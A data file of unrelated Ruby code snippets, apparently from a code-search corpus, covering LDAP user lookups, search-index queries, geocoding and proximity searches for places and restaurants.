"def search(base, filter = nil, attributes = nil)\n rows = []\n \n timeout_status = nil\n search_status = nil\n begin\n timeout_status = Timeout::timeout(60) do\n @ds.search(:base => base, :filter => filter, :attributes => attributes) do |entry|\n if ((!entry.nil?) && (entry[:cn] != []))\n rows << entry\n end \n end\n \n search_status = @ds.get_operation_result\n end\n rescue Timeout::Error => te\n ret = {\n :status => 0,\n :message => \"Connection to LDAP timed out\",\n :values => nil\n }\n return ret\n rescue Exception => e\n pp [\"exception\", e]\n end\n \n if (search_status.code == 0)\n ret = {\n :status => 1,\n :message => \"Success\",\n :values => rows\n }\n else\n ret = {\n :status => 0,\n :message => \"Net-LDAP Error #{search_status.code}: #{search_status.message}\",\n :values => nil\n }\n end\n \n return ret\n end",
"def search_with_geography(keywords, options = {})\n unless keywords.blank?\n # For backwards compatibility\n options[:count] ||= options[:rows] || 10\n \n parameters = {\n :start => options[:start] && options[:start].to_i || 0,\n :rows => options[:count] && options[:count].to_i > 0 && options[:count].to_i < 100 && options[:count].to_i || 10\n }\n \n parameters[:fq] = bounds_query(options[:bounds]) if options[:bounds].present?\n \n places = []\n facets = []\n \n results = PublicEarth::Db::Place.search_for keywords, parameters\n places = results.models\n \n # Tack on a possible map location, such as a city or country? Maybe the user was searching\n # to move the map, not look for places?\n where = nil\n unless options[:e]\n where = PublicEarth::Db::Where.am_i?(keywords, options[:bounds])\n where = nil if where.score.nil?\n end\n \n # A bold substitute for a rules engine! (There is a paper flowchart of this somewhere...)\n if options[:bounds]\n if places.blank?\n if where.present? \n [:reposition, where, nil, nil]\n else\n [:display, nil, nil, nil]\n end\n else\n if where.present?\n if where.score > 3.0\n [:prompt, where, results]\n else\n [:display, where, results]\n end\n else\n [:display, nil, results]\n end\n end\n else\n if places.blank? && where.blank?\n [:display, nil, nil]\n else\n if where.present?\n if where.score > 0.4 && !options[:recursed]\n if where.score > 2.0\n k = keywords.downcase\n # Temporary stop terms...FIX!!!\n (\"in for from near by where around over under \" + where.name.downcase).split(/\\s+/).each do |word|\n k.gsub! /\\b#{word}\\b/, ''\n end\n options.merge!({ :bounds => where.bounds, :recursed => true })\n \n again = search_with_geography(k, options)\n if again[2].blank?\n [:reposition, where, nil, nil]\n else\n [:display, where, again.last]\n end\n else\n [:prompt, where, results]\n end\n else\n [:suggest, where, results]\n end\n else\n [:display, nil, results]\n end\n end\n end\n else\n [:display, nil, nil, nil]\n end\n end",
"def locations_within_proximity\n field.locations.where( x_coordinate: x_proximity,\n y_coordinate: y_proximity )\n end",
"def attr_searchable(*args)\n if table_exists?\n opts = args.extract_options!\n args.flatten.each do |attr|\n attr = attr.to_s\n raise(ArgumentError, \"No persisted attribute (column) named #{attr} in #{self}\") unless self.columns_hash.has_key?(attr)\n self._metasearch_include_attributes = self._metasearch_include_attributes.merge(\n attr => {\n :if => opts[:if]\n }\n )\n end\n end\n end",
"def search_data\n {\n name: name,\n secondary: secondary_name,\n city: city,\n state: state\n }\n end",
"def get_ldap_user_attributies(upi:, attributes:)\n response = {}\n @treebase = 'dc=UoA,dc=auckland,dc=ac,dc=nz'\n filter = Net::LDAP::Filter.eq( 'objectCategory', 'user' ) & Net::LDAP::Filter.eq('cn', \"#{upi}\")\n attr_list = []\n attributes.each { |k, _v| attr_list << k }\n @ldap.search( base: @treebase, filter: filter, attributes: attr_list ) do |entry|\n attributes.each do |attribute, value|\n response[value] = entry[attribute][0].to_s.strip\n end\n return response # Only want the first entry\n end\n return nil\n end",
"def find_nearby\n locations = read_locations_from FILE\n locations.select_within_radius 100 \n locations.sort.filter_fields\n end",
"def searchable(*attr_names)\r\n attr_names.each do |attr_name|\r\n scope \"search_#{attr_name}\", -> attr_value do\r\n where(attr_name => (attr_name =~ /_on$/ ? parse_date_string(attr_value) : attr_value))\r\n end\r\n end\r\n end",
"def match(attributes = nil)\r\n body = { query: { match: attributes } }\r\n result = client.search index: index, type: type, body: body\r\n\r\n result_instance(result)\r\n end",
"def should(attributes = {})\r\n query = attributes.map { |attr| { match: Hash[*attr] } }\r\n body = { query: { bool: { should: query } } }\r\n result = client.search index: index, type: type, body: body\r\n\r\n result_instance(result) \r\n end",
"def search\n\n\t\t@search_loc = params[:search_loc] # address user searched for\n\t\t@search_lat = params[:search_lat] # the user's current location latitude. If the address searched for fails to give a new latitude, this is used instead\n\t\t@search_long = params[:search_long] # the user's current longitude - same use case as above\n\t\tif @search_loc != nil\n\t\t\taddress = @search_loc.gsub(/\\s/, \"+\")\n\t\t\turi = URI.parse(\"http://maps.googleapis.com/maps/api/geocode/json?address=\" + address + \"&sensor=false\")\n\t\t\thttp = Net::HTTP.get_response(uri)\n\t\t\tresults = JSON.parse(http.body)\n\t\t\t# if address yielded results, override the user's current location coordinates with the searched-for-latitude/longitude\n\t\t\tif results[\"status\"] != \"ZERO_RESULTS\"\n\t\t\t\t@search_lat = results[\"results\"][0][\"geometry\"][\"location\"][\"lat\"]\n\t\t\t\t@search_long = results[\"results\"][0][\"geometry\"][\"location\"][\"lng\"]\n\t\t\tend\n\t\tend\n\n\t\t@search_item = \"\"\n\t\tif params[:search_item] then\n\t\t\t@search_item = params[:search_item]\n\t\tend\n\t\t@search_item.downcase\n\n\t\t# the default search distance (max circular radius of a restaurant from the searched for location) is 5 unless the user specified a search radius\n\t\t@search_distance = DEFAULT_SEARCH_DISTANCE\n\t\tif params[:search_distance] then\n\t\t\t@search_distance = params[:search_distance]\n\t\tend\n\n\t\t@max_results = DEFAULT_MAX_RESULTS\n\t\tif params[:results] then\n\t\t\t@max_results = params[:results].to_i\n\t\tend\n\n\t\t# Based on the Haversine Formula found on google maps API. The below is a Sql query to find all restaurants that has dishes with a dish name containing the search query or a dish description containing the search query,\n\t\t# (independent of case), or the restaurant name or description contains the search query, and the restaurant must be within the circular search\n\t\t# radius of the searched for location.\n\t\t@restaurants = Restaurant.find_by_sql([\"SELECT DISTINCT restaurants.* from foods, restaurants WHERE\n\t\t\t(3959*acos(cos(radians(?))*cos(radians(restaurants.latitude))*cos(radians(restaurants.longitude)-radians(?)) + \n\t\t\tsin(radians(?))*sin(radians(restaurants.latitude)))) < ? AND ((lower(restaurants.name) like ? OR \n\t\t\tlower(restaurants.description) like ?) OR (lower(foods.dish_name) like ? OR lower(foods.description) like ?)) AND \n\t\t\tfoods.restaurant_id = restaurants.id LIMIT ?\", @search_lat, @search_long, @search_lat, @search_distance, \"%#{@search_item}%\", \n\t\t\t\"%#{@search_item}%\", \"%#{@search_item}%\", \"%#{@search_item}%\", @max_results])\n\n\t\t# All of the dishes returned below are ordered by average rating from highest to lowest.\n\t\t# Similar to the above query, but returns the dishes that are within restaurants within the given distance radius that has a dish name or description\n\t\t# with the search query, or its restaurant name / description has the search query.\n\t\t@dishes = Food.find_by_sql([\"SELECT DISTINCT foods.* from foods, restaurants WHERE \n\t\t\t(3959*acos(cos(radians(?))*cos(radians(restaurants.latitude))*cos(radians(restaurants.longitude)-radians(?)) + \n\t\t\tsin(radians(?))*sin(radians(restaurants.latitude)))) < ? AND ((lower(restaurants.name) like ? OR \n\t\t\tlower(restaurants.description) like ?) OR (lower(foods.dish_name) like ? OR lower(foods.description) like ?)) AND \n\t\t\tfoods.restaurant_id = restaurants.id ORDER BY foods.rating DESC NULLS LAST OFFSET 2 LIMIT ?\", @search_lat, @search_long, @search_lat, \n\t\t\t@search_distance, \"%#{@search_item}%\", \"%#{@search_item}%\", \"%#{@search_item}%\", \"%#{@search_item}%\", @max_results])\n\n\t\t@num_items_per_row = DEFAULT_NUM_ITEMS_PER_ROW\n\t\t@num_rows_per_page = DEFAULT_NUM_ROWS_PER_PAGE\n\t\tif params[:itemspr] then\n\t\t\t@num_items_per_row = params[:itemspr].to_i\n\t\tend\n\t\tif params[:rowspp] then\n\t\t\t@num_rows_per_page = params[:rowspp].to_i\n\t\tend\n\n\t\t@render = 'default'\n\t\tif params[:render] then\n\t\t\t@render = params[:render]\n\t\tend\n\n\t\tif @render == 'json_only' then\n\t\t\trender :json => {:restaurants => @restaurants, :dishes => @dishes}\n\t\telsif @render == 'partials_only' then\n\t\t\trender :partial => 'shared/results', :locals => {:rend => 'all', :dishes => @dishes, :restaurants => @restaurants,\n\t\t\t\t:with_json => false, :num_items_per_row => @num_items_per_row, :num_rows_per_page => @num_rows_per_page}\n\t\telsif @render == 'partials_and_json_only' then\n\t\t\trender :partial => 'shared/results', :locals => {:rend => 'all', :dishes => @dishes, :restaurants => @restaurants,\n\t\t\t\t:with_json => true, :num_items_per_row => @num_items_per_row, :num_rows_per_page => @num_rows_per_page}\n\t\telsif @render == 'dish_partials_only' then\n\t\t\trender :partial => 'shared/results', :locals => {:rend => 'dishes_only', :render_restaurants => false, :results => 'dishes',\n\t\t\t\t:dishes => @dishes, :with_json => false, :num_items_per_row => @num_items_per_row, :num_rows_per_page => @num_rows_per_page}\n\t\telsif @render == 'restaurant_partials_only' then\n\t\t\trender :partial => 'shared/results', :locals => {:rend => 'restaurants_only', :results => 'restaurants',\n\t\t\t\t:restaurants => @restaurants, :with_json => false, :num_items_per_row => @num_items_per_row, :num_rows_per_page => @num_rows_per_page}\n\t\tend\n\t\t# else search.html.erb (the default) will be rendered\n\n\tend",
"def from_search_document(document)\n place = PublicEarth::Db::Place.new\n\n place.id = document.delete('id')\n place.slug = document.delete('slug') || ''\n place.category = PublicEarth::Db::Category.new :id => document.delete('category_id'), \n :name => document.delete('category').first, :slug => document.delete('category_slug')\n place.tags = document.delete('keyword').map{ |tag| PublicEarth::Db::Tag.create(tag)} rescue []\n place.name = document['attribute_text_name'] || document['name']\n place.rating = document['rating']\n place.number_of_ratings = document['number_of_ratings'].to_i || 0\n\n # Search ranking\n place.score = document['score'] \n\n # TODO: Feature comments?!?\n results = []\n \n document.each do |key, value|\n if key =~ /\\Aattr_(?:text|date|int|float)_(.*?)\\Z/\n name = $1\n\n # We skip the comments in here, because we don't want them as attributes on the place.\n unless name =~ /_comments\\Z/\n # Grab the comment, if there is one...\n comment = document[\"#{key}_comments\"]\n \n if value.kind_of? Array\n value.each do |array_value|\n results << {\n 'attribute_language' => 'en',\n 'attribute_definition_name' => name,\n 'attribute_value' => array_value\n # 'attribute_comments' => comment\n }\n end\n else\n results << {\n 'attribute_language' => 'en',\n 'attribute_definition_name' => name,\n 'attribute_value' => value\n # 'attribute_comments' => comment\n }\n end\n end\n \n else\n place.write_attribute(key, value)\n end\n end\n \n place.details = PublicEarth::Db::Details.new(place, nil, nil, results)\n place\n end",
"def find\n set_user_and_user_areas\n @areas = Area.find_all_by_geom([[params[:min_y], params[:min_x]], \n [params[:max_y], params[:max_x]]])\n @map = Variable.new(\"map\")\n end",
"def geocoded_by(address_attr, options = {}, &block)\n geocoder_init(\n :geocode => true,\n :user_address => address_attr,\n :coordinates => options[:coordinates] || :coordinates,\n :geocode_block => block\n )\n end",
"def search_geocaches(accessToken, lat, lon, count)\n # TODO return an enumerator instead\n raise ArgumentError, \"search_geocaches must be called with a block\" if not block_given?\n\n found = 0\n tmp = _search_first(accessToken, lat, lon)\n found += tmp.size\n yield tmp\n while found < count\n tmp = _search_more(accessToken, found)\n break if tmp.size == 0\n found += tmp.size\n yield tmp\n end\n end",
"def load_yelp_attributes \n client = Yelp::Client.new\n search = Yelp::V2::Search::Request::Location.new(\n :term => name, \n :city => city,\n :country => nation,\n :category => [\"lounges\"], \n :limit => 1,\n :consumer_key => YelpConfig[\"yelp_config\"][\"consKey\"], \n :consumer_secret => YelpConfig[\"yelp_config\"][\"consSecret\"], \n :token => YelpConfig[\"yelp_config\"][\"token\"], \n :token_secret => YelpConfig[\"yelp_config\"][\"tokenSecret\"])\n response = client.search(search);\n # self.yelp_rating = response['businesses'][0]['rating']\n # self.yelp_review = response['businesses'][0]['snippet_text']\n self.phone_number = response['businesses'][0]['display_phone']\n #cats = response['businesses'][0]['categories']\n self.display_address = response['businesses'][0]['location']['display_address'].join(\"<br/>\")\n self.latitude = response['businesses'][0]['location']['coordinate'][\"latitude\"]\n self.longitude = response['businesses'][0]['location']['coordinate'][\"longitude\"]\n end",
"def filtered_poi_hash\n addr = @hash['address']\n {\n 'category_id' => @hash['category_id'],\n 'name' => @hash['name'],\n 'branch_store_name' => @hash['branch_store_name'],\n 'money' => @hash['money'],\n 'telephone' => @hash['telephone'],\n 'cover_img' => @hash['cover_image_url'],\n 'tags' => @hash['tags'],\n 'pixnet_rating' => @hash['rating']['avg'],\n 'city' => addr['city'],\n 'town' => addr['town'],\n 'open_hours' => open_hours,\n 'website' => website,\n 'address' => address\n }\n end",
"def get_ldap_user_attributies_by_email(email:, attributes:)\n response = {}\n @treebase = 'dc=UoA,dc=auckland,dc=ac,dc=nz'\n filter = Net::LDAP::Filter.eq( 'objectCategory', 'user' ) & Net::LDAP::Filter.eq('mail', \"#{email}\")\n attr_list = []\n attributes.each { |k, _v| attr_list << k }\n @ldap.search( base: @treebase, filter: filter, attributes: attr_list ) do |entry|\n attributes.each do |attribute, value|\n response[value] = entry[attribute][0].to_s.strip\n end\n return response # Only want the first entry\n end\n return nil\n end",
"def custom_attributes\n base = {}.with_indifferent_access\n\n CUSTOM_MAP_ATTRIBUTES.inject(base) do |hash, attribute|\n value = send(attribute)\n\n # Using #blank? as coordinates might be an empty array.\n hash[attribute] = value unless value.blank?\n\n hash\n end\n end",
"def search_children(node, attribute, search_term)\n matches = []\n end",
"def set_lookup(*attributes, &block)\n @source.lookup_attributes += attributes\n @source.lookup_block = block if block\n end",
"def searchable_attribute_names\n if model.respond_to?(:searchable_alchemy_resource_attributes)\n model.searchable_alchemy_resource_attributes\n else\n attributes.select { |a| searchable_attribute?(a) }\n .concat(searchable_relation_attributes(attributes))\n .collect { |h| h[:name] }\n end\n end",
"def search\n if params[:geocode].present?\n lat = params[:geocode][:latitude]\n lng = params[:geocode][:longitude]\n radius = params[:radius]? params[:radius] : @_default_search_distanse\n skill_category = params[:skill_category]\n if skill_category.present?\n scope1 = Service.where(skill_category_id: skill_category).pluck(:supplier_id)\n scope2 = Supplier.near([lat, lng], radius, {order: \"\", units: :km}).pluck(:id)\n @suppliers = Supplier.where(isSupplier: true).find(scope1 & scope2)\n else\n @suppliers = Supplier.near([lat, lng], radius, units: :km).where(isSupplier: true)\n end\n elsif params[:skill_category].present?\n @suppliers = Supplier.find(Service.where(skill_category_id: params[:skill_category], isSupplier: true).pluck(:supplier_id));\n else\n @suppliers = Supplier.where(isSupplier: true)\n end\n render :action => 'search_result.json'\n end",
"def fetch_custom_attributes\n endpoint = \"/api/#{@version}/custom-attributes/\"\n make_get_request(endpoint)\n end",
"def search_data\n merge = {\n station_name: weather_station.name,\n\n # http://apidock.com/rails/String/to_time\n reading_date: reading_date.to_time,\n }\n attributes.merge(merge)\n end",
"def retrieve_all(attributes_hash, finder)\n case method(:all).arity\n when 0\n all\n when 1, -1\n all(attributes_hash)\n else\n all(attributes_hash, finder)\n end\n end",
"def attributs()\n if block_given?\n rados_getxattrs.each { |key,value| \n yield key,value\n }\n else\n return rados_getxattrs\n end\n \n end",
"def find_features(query)\n puts \"find_features:url =#{search_feed_url}?#{CGI.escape query}\"\n response = @@client.get \"#{search_feed_url}?#{CGI.escape query}\"\n end",
"def get_ldap_allusers_attributes(upi:, attributes:)\n response = {}\n @treebase = 'dc=UoA,dc=auckland,dc=ac,dc=nz'\n filter = Net::LDAP::Filter.eq( 'objectCategory', 'user' ) & Net::LDAP::Filter.eq('cn', \"#{upi}\")\n attr_list = []\n attributes.each { |k, _v| attr_list << k }\n @ldap.search( base: @treebase, filter: filter, attributes: attr_list ) do |entry|\n attributes.each do |attribute, value|\n response[value] = entry[attribute][0].to_s.strip\n end\n yield response # Only want the first entry\n end\n return nil\n end",
"def search\n # Invoke Searchkick's search method with our search constraints.\n @results ||= search_model.search(@query, search_constraints)\n\n # Wrap the information as a hash and pass it to PropertiesController.\n {\n results: @results,\n formatted_query: formatted_query,\n json_for_map: json_for_map,\n center_lng_lat: center_lng_lat\n }\n end",
"def getEntitySearchByboundingbox( latitude_1, longitude_1, latitude_2, longitude_2, per_page, page, country, language, domain, path, restrict_category_ids)\n params = Hash.new\n params['latitude_1'] = latitude_1\n params['longitude_1'] = longitude_1\n params['latitude_2'] = latitude_2\n params['longitude_2'] = longitude_2\n params['per_page'] = per_page\n params['page'] = page\n params['country'] = country\n params['language'] = language\n params['domain'] = domain\n params['path'] = path\n params['restrict_category_ids'] = restrict_category_ids\n return doCurl(\"get\",\"/entity/search/byboundingbox\",params)\n end",
"def geographic_search\n @geographic_search ||= begin\n result = sw_geographic_search\n\n # TODO: this should go into stanford-mods ... but then we have to set that gem up with a Logger\n # print a message for any unrecognized encodings\n xvals = subject.geographicCode.translated_value\n codes = term_values([:subject, :geographicCode])\n if codes && codes.size > xvals.size\n subject.geographicCode.each { |n|\n next unless n.authority != 'marcgac' && n.authority != 'marccountry'\n\n sw_logger.info(\"#{druid} has subject geographicCode element with untranslated encoding (#{n.authority}): #{n.to_xml}\")\n }\n end\n\n # FIXME: stanford-mods should be returning [], not nil ...\n return nil if !result || result.empty?\n\n result\n end\n end",
"def load\n # Reload the name, if needs be...\n @place.name = nil\n \n @attributes = Hash.new { |hash, key| hash[key] = {} }\n @attributes[@current_language] ||= {}\n \n PublicEarth::Db::Place::many.attributes(@place.id, @current_language).each do |attribute_value|\n @attributes[attribute_value['language']] ||= {}\n\n attribute_definition = PublicEarth::Db::Details::Attribute.new(\n self, \n attribute_value['id'],\n attribute_value['attribute_definition_name'],\n attribute_value['value'],\n attribute_value['comments'],\n attribute_value['language'],\n attribute_value['source_data_set_id'],\n attribute_value['attribute_is_readonly'] == 't',\n attribute_value['priority'],\n attribute_value['is_local'] == 't',\n attribute_value['is_required'] == 't',\n attribute_value['allow_many'] == 't',\n attribute_value['attribute_definition_type']\n )\n\n # Since we're getting all the possible attributes, whether or not they have values yet, we \n # need to test to make sure it doesn't exist, i.e. the value from the database should be NULL.\n attribute_definition.exists = true unless attribute_value['value'].blank?\n\n # Is this a many values attribute? \n if attribute_value['allow_many'] == 't'\n @attributes[attribute_value['language']][attribute_value['attribute_definition_name'].to_sym] ||= \n ManyValues.new(self, attribute_definition)\n\n @attributes[attribute_value['language']][attribute_value['attribute_definition_name'].to_sym] << \n attribute_definition\n else\n @attributes[attribute_value['language']][attribute_value['attribute_definition_name'].to_sym] = \n attribute_definition\n end\n end\n @attributes\n end",
"def search_data\n attributes.merge(\n brief_summary: brief_summary && brief_summary.description,\n detailed_description: detailed_description && detailed_description.description,\n browse_condition_mesh_terms: browse_conditions.map(&:mesh_term),\n conditions: conditions.map(&:downcase_name),\n browse_interventions_mesh_terms: browse_interventions.map(&:mesh_term),\n interventions_mesh_terms: interventions.map(&:name).reject(&:nil?),\n interventions: interventions.map(&:description).reject(&:nil?),\n design_outcome_measures: design_outcomes.map(&:measure),\n facility_names: facilities.map(&:name),\n facility_states: facilities.map(&:state),\n facility_cities: facilities.map(&:city),\n facility_countries: facilities.map(&:country),\n locations: facility_coords_hash,\n average_rating: average_rating,\n reviews_count: reviews.count,\n reviews: reviews && reviews.map(&:text),\n sponsors: sponsors && sponsors.map(&:name),\n rating_dimensions: rating_dimensions.keys,\n indexed_at: Time.now.utc,\n study_views_count: study_view_logs.count,\n wiki_page_edits: {\n email: wiki_page_edits.map(&:user).map(&:email),\n created_at: wiki_page_edits.map(&:created_at).map(&:to_time),\n },\n reactions:{\n email: reactions.order(:id).map(&:user).map(&:email),\n kind: reactions.order(:id).map(&:reaction_name)\n\n },\n ).merge(\n average_rating_dimensions,\n ).merge(\n wiki_search_data,\n ).except(\n # https://github.com/clinwiki-org/clinwiki/issues/111\n *NON_INDEX_FIELDS, *NON_INDEX_FIELDS.map(&:to_s)\n )\n end",
"def search_data\n attributes.merge(tags: tags)\n end",
"def find(address)\n # Geocode the given address.\n geocode address\n\n ward = Data.new(data)\n ward.to_hash\n end",
"def search(term)\n # TODO: Select the Contact instances from the 'MOCK_DATA.csv' file whose name or email attributes contain the search term.\n found_contacts = @@contacts.select do |contact|\n contact.name.downcase.include?(term.downcase) || contact.email.downcase.include?(term.downcase)\n end\n found_contacts\n\n end",
"def search\n @is_admin = is_admin\n\n gender = '%'\n if params[:male] == '1' && params[:female] != '1'\n gender = 'Male'\n end\n if params[:male] != '1' && params[:female] == '1'\n gender = 'Female'\n end\n\tif params[:male] == '1' && params[:female] == '1'\n\t gender = '%'\n\tend\n\t\n sort_order = params[:sort] || \"bathrooms.updated_at DESC\"\n\n @bathrooms = Bathroom.search_by_address(params[:keyword], gender, sort_order)\n \n @addresses = @bathrooms.map { |b| b.address }\n @ratings = @bathrooms.map { |b| b.ratings }\n\n @bathrooms_with_address_ratings = @bathrooms.map { |b| [b, b.address, b.ratings] }\n\n \n respond_to do |format|\n format.html { render }\n format.xml { render :xml => @bathrooms_with_address_ratings }\n format.json { render :json => @bathrooms_with_address_ratings }\n end\n \n end",
"def has_attribute(name, predicate, multiple: false, solrize_for: [], type: :string)\n raise PropertyInvalidError unless name.is_a? Symbol\n raise PropertyInvalidError unless predicate.present?\n\n # TODO: keep this conveinience, or push responsibility for [] onto the callsite?\n solrize_for = [solrize_for] unless solrize_for.is_a? Array\n\n # index should contain only some combination of :search, :sort, :facet, :symbol, and :path\n # this isn't an exhaustive layering over this mess\n # https://github.com/mbarnett/solrizer/blob/e5dd2bd571b9ebdb8a8ab214574075c28951e53e/lib/solrizer/default_descriptors.rb\n # but it helps\n raise PropertyInvalidError if solrize_for.count { |item| !SOLR_DESCRIPTOR_MAP.keys.include?(item) } > 0\n\n # TODO: type validation\n\n self.attribute_names << name\n\n solr_name_cache ||= []\n solrize_for.each do |descriptor|\n solr_name = Solrizer.solr_name(name, SOLR_DESCRIPTOR_MAP[descriptor], type: type)\n solr_name_cache << solr_name\n self.reverse_solr_name_cache[solr_name] = name\n end\n\n self.facets << Solrizer.solr_name(name, SOLR_DESCRIPTOR_MAP[:facet], type: type) if solrize_for.include?(:facet)\n self.facets << Solrizer.solr_name(name, SOLR_DESCRIPTOR_MAP[:path], type: type) if solrize_for.include?(:path)\n\n self.attribute_cache[name] = {\n predicate: predicate,\n multiple: multiple,\n solrize_for: solrize_for,\n type: type,\n solr_names: solr_name_cache\n }\n\n define_method name do\n val = if ldp_object.present?\n ldp_object.send(name)\n else\n solr_representation[solr_name_cache.first]\n end\n return if val.nil?\n return DateTime.parse(val).freeze if type == :date\n return val.freeze if val.nil? || multiple || !val.is_a?(Array)\n return val.first.freeze\n end\n\n define_method \"#{name}=\" do |*_args|\n raise LockedInstanceError, 'The Locked LDP object cannot be mutated outside of an unlocked block or without'\\\n 'calling unlock_and_fetch_ldp_object to load a writable copy (SLOW).'\n end\n\n derived_af_class.class_eval do\n property name, predicate: predicate, multiple: multiple do |index|\n index.type type if type.present?\n index.as(*(solrize_for.map { |idx| SOLR_DESCRIPTOR_MAP[idx] }))\n end\n end\n end",
"def search_options_for(filter:, attributes:)\n {}.tap do |opts|\n group_base = APP_CONFIG[\"ldap\"][\"group_base\"]\n opts[:base] = group_base if group_base.present?\n opts[:filter] = Net::LDAP::Filter.construct(filter)\n opts[:attributes] = attributes\n end\n end",
"def sf_attributes(*attrs)\n attrs.each do |attr|\n sf_attribute attr\n end\n end",
"def search_within(keywords, options = {})\n bounds = options[:bounds] || nil\n keywords = '*:*' if keywords.blank?\n \n logger.debug \"Search Query: #{spatial_query(bounds)}#{keywords}\"\n \n if bounds.present?\n results = solr_server.find(\"#{spatial_query(bounds)}#{keywords}\", options.merge(:qt => 'full', \n :results => Atlas::Extensions::Place::PlaceResults))\n else\n results = solr_server.find(keywords, options.merge(:qt => 'full', :results => Atlas::Extensions::Place::PlaceResults))\n end\n \n { :places => results, :selected => nil, :where => nil, :query => (keywords == '*:*' && '' || keywords) }\n end",
"def search_within(bounding_box, query, offset = 0, limit = 5, language = 'english')\n if bounding_box[:sw][:latitude]\n many.search_within(query, language, limit, offset, bounding_box[:sw][:latitude], bounding_box[:sw][:longitude], bounding_box[:ne][:latitude], bounding_box[:ne][:longitude]).map { |attributes| PublicEarth::Db::Place.new(attributes) }\n else\n many.search(query, language, limit, offset).map { |attributes| PublicEarth::Db::Place.new(attributes) }\n end\n end",
"def search(start_lat, start_long, end_lat, end_long, radius, term)\n latitude=start_lat\n longitude=start_long\n puts latitude\n puts end_lat\n # place = []\n # address= []\n places_hash={\n \n }\n while ((latitude-end_lat).abs>0.05) do \n puts \"------------------------------------------\"\n # latitude=((start_lat)..(end_lat)).step(0.001).to_a\n # longitude=((start_long)..(end_long)).step(0.001).to_a\n # s=start_long\n url = \"#{API_HOST}#{SEARCH_PATH}\"\n\n params = {\n # categories: term,\n term: term,\n latitude: latitude,\n longitude: longitude,\n radius: radius\n \n # limit: SEARCH_LIMIT\n }\n\n response = HTTP.auth(bearer_token).get(url, params: params)\n\n \n puts result=response.parse\n if result[\"businesses\"]!=nil\n result[\"businesses\"].each do |place|\n #need to change each loop\n places_hash[place[\"name\"]]=place[\"location\"][\"address1\"]\n end\n end\n \n puts latitude\n puts end_lat\n latitude=(latitude+(end_lat-start_lat)/5.0)\n longitude=(longitude+(end_long-start_long)/5.0)\n end\n puts places_hash\n return places_hash\nend",
"def search_by_xquery(xquery)\n logger.debug \"XQuery: #{xquery}\"\n url = URI.parse(\"#{@keeper_url}/feature?query=#{CGI.escape(xquery)}\").to_s\n xml = RestClient.get(url, @headers).body\n\n features = []\n doc = Nokogiri::XML(xml)\n doc.xpath('//feature', 'k' => KEEPER_XML_NS).each do |feat_element|\n feature = Feature.new(self)\n feature.feature_id = feat_element.xpath('./@k:id', 'k' => KEEPER_XML_NS).first.value\n feature.title = feat_element.xpath('./title', 'k' => KEEPER_XML_NS).first.content\n feat_element.xpath('./actor', 'k' => KEEPER_XML_NS).each do |actor|\n if actor.xpath('./role', 'k' => KEEPER_XML_NS).first.content == \"infoprovider\"\n feature.infoprovider = actor.xpath('.//email', 'k' => KEEPER_XML_NS).first.content\n end\n end\n feat_element.xpath('./productcontext', 'k' => KEEPER_XML_NS).each do |ctx_element|\n ctx = Feature::ProductContext.new\n product = ctx_element.xpath('./product/name').first.content\n ctx.status = ctx_element.xpath('./status').children.select {|x| x.element?}.first.name.to_sym\n feature.product_contexts[product] = ctx\n\n # Priorities\n ctx_element.xpath('./priority').each do |prio_element|\n prio = prio_element.children.select(&:element?).first.name.to_sym\n owner = prio_element.xpath('./owner/role').first.content.to_sym\n ctx.priorities[owner] = prio\n end\n end\n yield feature if block_given?\n features << feature\n end\n features\n end",
"def search(args = nil)\n args ||= {}\n\n # filtering, scoping, search base\n # filter: https://tools.ietf.org/html/rfc4511#section-4.5.1.7\n # base: https://tools.ietf.org/html/rfc4511#section-4.5.1.1\n # scope: https://tools.ietf.org/html/rfc4511#section-4.5.1.2\n filter = args[:filter] || Net::LDAP::Filter.eq(\"objectClass\", \"*\")\n base = args[:base]\n scope = args[:scope] || Net::LDAP::SearchScope_WholeSubtree\n\n # attr handling\n # attrs: https://tools.ietf.org/html/rfc4511#section-4.5.1.8\n # attrs_only: https://tools.ietf.org/html/rfc4511#section-4.5.1.6\n attrs = Array(args[:attributes])\n attrs_only = args[:attributes_only] == true\n\n # references\n # refs: https://tools.ietf.org/html/rfc4511#section-4.5.3\n # deref: https://tools.ietf.org/html/rfc4511#section-4.5.1.3\n refs = args[:return_referrals] == true\n deref = args[:deref] || Net::LDAP::DerefAliases_Never\n\n # limiting, paging, sorting\n # size: https://tools.ietf.org/html/rfc4511#section-4.5.1.4\n # time: https://tools.ietf.org/html/rfc4511#section-4.5.1.5\n size = args[:size].to_i\n time = args[:time].to_i\n paged = args[:paged_searches_supported]\n sort = args.fetch(:sort_controls, false)\n\n # arg validation\n raise ArgumentError, \"search base is required\" unless base\n raise ArgumentError, \"invalid search-size\" unless size >= 0\n raise ArgumentError, \"invalid search scope\" unless Net::LDAP::SearchScopes.include?(scope)\n raise ArgumentError, \"invalid alias dereferencing value\" unless Net::LDAP::DerefAliasesArray.include?(deref)\n\n # arg transforms\n filter = Net::LDAP::Filter.construct(filter) if filter.is_a?(String)\n ber_attrs = attrs.map { |attr| attr.to_s.to_ber }\n ber_sort = encode_sort_controls(sort)\n\n # An interesting value for the size limit would be close to A/D's\n # built-in page limit of 1000 records, but openLDAP newer than version\n # 2.2.0 chokes on anything bigger than 126. You get a silent error that\n # is easily visible by running slapd in debug mode. Go figure.\n #\n # Changed this around 06Sep06 to support a caller-specified search-size\n # limit. Because we ALWAYS do paged searches, we have to work around the\n # problem that it's not legal to specify a \"normal\" sizelimit (in the\n # body of the search request) that is larger than the page size we're\n # requesting. Unfortunately, I have the feeling that this will break\n # with LDAP servers that don't support paged searches!!!\n #\n # (Because we pass zero as the sizelimit on search rounds when the\n # remaining limit is larger than our max page size of 126. In these\n # cases, I think the caller's search limit will be ignored!)\n #\n # CONFIRMED: This code doesn't work on LDAPs that don't support paged\n # searches when the size limit is larger than 126. We're going to have\n # to do a root-DSE record search and not do a paged search if the LDAP\n # doesn't support it. Yuck.\n rfc2696_cookie = [126, \"\"]\n result_pdu = nil\n n_results = 0\n\n message_id = next_msgid\n\n instrument \"search.net_ldap_connection\",\n message_id: message_id,\n filter: filter,\n base: base,\n scope: scope,\n size: size,\n time: time,\n sort: sort,\n referrals: refs,\n deref: deref,\n attributes: attrs do |payload|\n loop do\n # should collect this into a private helper to clarify the structure\n query_limit = 0\n if size > 0\n if paged\n query_limit = (((size - n_results) < 126) ? (size -\n n_results) : 0)\n else\n query_limit = size\n end\n end\n\n request = [\n base.to_ber,\n scope.to_ber_enumerated,\n deref.to_ber_enumerated,\n query_limit.to_ber, # size limit\n time.to_ber,\n attrs_only.to_ber,\n filter.to_ber,\n ber_attrs.to_ber_sequence\n 